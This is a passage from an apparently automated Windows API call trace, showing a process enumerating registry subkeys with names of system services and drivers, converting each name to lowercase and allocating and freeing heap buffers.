[0236.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.287] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.287] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0236.287] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0236.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.288] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0236.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0236.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.288] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0236.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0236.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.288] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0236.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0236.288] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.288] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.289] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0236.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0236.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.289] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0236.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0236.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.289] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0236.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0236.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.290] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0236.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0236.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.290] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0236.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0236.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.290] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0236.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0236.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.290] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0236.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0236.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.291] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0236.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0236.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.291] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0236.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0236.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0236.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.291] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0236.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0236.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a48, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0236.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.292] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0236.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0236.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.292] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0236.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0236.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.292] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0236.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0236.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1d18, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0236.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.292] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0236.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0236.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.293] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0236.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0236.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.293] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0236.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0236.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0236.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0236.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.293] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0236.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 